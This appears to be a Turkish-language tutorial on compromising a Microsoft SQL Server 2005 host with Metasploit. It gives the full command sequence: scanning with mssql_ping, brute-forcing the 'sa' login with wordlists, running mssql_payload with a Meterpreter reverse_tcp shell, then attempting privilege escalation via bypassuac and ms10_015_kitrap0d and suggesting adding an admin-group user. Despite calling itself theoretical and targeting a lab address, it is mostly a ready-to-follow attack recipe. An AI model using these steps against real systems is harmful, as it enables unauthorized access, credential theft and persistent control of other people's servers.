TR | How to exploit MSSQL with Metasploit
Açıklamalar: Test sunucusu olarak MSSQL 2005 kullanılmıştır.Burada ki bilgiler tamamen teoriktir.Uygulama kısımları ise pekiştirme amacıyla kullanılmıştır.Farklı senaryolarla karşılaşabilme ihtimaliniz yüksektir burada iş tamamen size düşüyor.
Hadi başlayalım.
İlk yapmamız gereken iş tabi ki sistem de bi tarama yapmamız gerek ve biz ne yapıyoruz ? Nmap dediğinizi duyar gibiyim hayır nmap ile taramıyoruz hemen metasploit’e giriyoruz.Metasploit’e terminal üzerinden girmek için hemen
msfconsole
yazıyoruz.Daha sonra mssql serverın bilgilerini vericek scanner’ı açmamız gerekiyor.Durmuyoruz hemen yazıyoruz
use auxiliary/scanner/mssql/mssql_ping
Metasploit de ilk yapmamız gerekenler nelerdi ? Hemen Show options yazıyoruz.
Burada metasploit için kesin gerekli olan satırları required altında görebiliyoruz.
Biz burada
set rhosts 192.168.1.3
yazarak RHOSTS›u ayarlıyoruz.Daha sonra eğer tüm ağı tarıyacaksanız
set threads 10
yazıyoruz.
Tüm ağdan örnek : 192.168.1.0/24
Ve run yazıp sonuçlarımıza bakıyoruz.
Bakın sonuçlar hemen önümüze çıktı.Ama burada bize herhangi bir port vermiyor ? Neden çünkü ben MSSQL’i network share olarak açmadım. Birde aşağıda ki resime bakalım.
Bakın burada TCP kısmında 1433 yazıyoruz.Bu bizim saldıracağımız kurban mssql server ‘ ının çalıştığı portudur.(Default Port)
Bu kısımdan sonra yapmamız gereken şey MSSQL server da yetkili bir abi olmak veya yetkili bir abinin kullanıcı adı ve şifresini bulmak.
Burada yine imdadımıza metasploit yetişiyor.
Hemen terminal ekranına
use auxiliary/scanner/mssql/mssql_login
Not:Burada bruteforce(Kaba kuvvet) kullanıcaz.Yani bu olayın başarısı tamamen sizin elinizde ki wordlist in başarısı kadardır.
Wordlist oluşturmak için : Crunchbang kullanabilirsiniz.Sitede konusunu bulabilirsiniz.
mssql_login ayarlarını görmek için ise yine Show Options diyoruz.
Burada bruteforce speed wordlist inizin ne kadar hızlı bir şekilde deneniceğini belirtir.Biz 5 ayarlıyoruz.Sırasıyla şu ayarlamalarımızı yapıyoruz.
set pass_file passkeyword.txt
set user_file usernamekeyword.txt
set rhosts 192.168.1.3
set rport 1433
Ve run diyoruz.
Sonuç :
Yeşil renkte ki satır bize username ile password ü bulunmuş olduğunu gösteriyor.
Zaten bundan sonrası çorap söküğü gibi gelicektir.Hemen bakalım.
Yine metasploit consol ‘ a
use exploit/windows/mssql/mssql_payload
yazıyoruz ve ne yapıyorduk ?! Tabi ki show OPTIONS
Burada az önce brute force ile bulmuş olduğumuz değerleri yazıcaz.Hemen alt alta yazılan komutları verelim.
set PASSWORD 369874125
set USERNAME sa
set RHOST 192.168.1.3
set RPORT 1433
Peki sadece bunlar yeterli mi ? Tabi ki de hayır.Meterpreter oturumuna erişebilmek için payload load etmemiz gerekicek.O yüzden
set payload windows/meterpreter/reverse_tcp
yazıyoruz ve exploit diyoruz.
Buradan sonra meterpreter session ‘ ı açılıyor.
Meterpreter hakkında bilgi için : Yine sitemizde konusu bulunuyor buradan yardım alabilirsiniz.
Karşıda ki sunucunun C: sürücüsündeyiz.Peki örnek olması açısından ne yapabiliriz ? Hiçbir şey! Şaka tabi ki artık sistem elinizde neden birşey yapamayasınız ki.
Ben örnek olarak C: sürücüsünde enes diye klasör oluşturup içine enes diye bir txt dosyası attım.( Yok öyle trojan , worm atmak )
Not:Meterpreter.txt dosyasını atmıştım fakat ismini değiştirdim.
Neden worm trojan atamayız ? Veya bir exe ? Mode kısmında görebilirsiniz. ( Executable terimi hatırlatıcı olsun.)
Şimdi sisteme ulaştık fakat görüceksiniz ki çoğu yetkiniz yok ? Ne yapmamız gerekiyor ? Eğer domain yapısı kullanılıyor ise Meterpreter den cmd (Command Prompt ) ye ulaşabilir ve admin group olarak bir kullanıcı ekleyebilirsiniz.
Bu kısımdan sonrası tamamen size kalmıştır örnek olması açısından sadece resimler eklenicektir.
Ama biz ne yapıyoruz ? Özel yetkiler almaya çalışıyoruz.(Alamadı)
Not:Çeşitli yetkiler alabilmek için meterpreter oturumunu arkaplana atabilirsiniz.
Bypassuac denedim fakat başarılı olamadım o yüzden ms10_015_kitrap0d exploitini denemeye karar verdim.
Exploitimiz başarılı oldu ama session oluşturamadık.Yani başaramadım ama eminim siz başaracaksınız.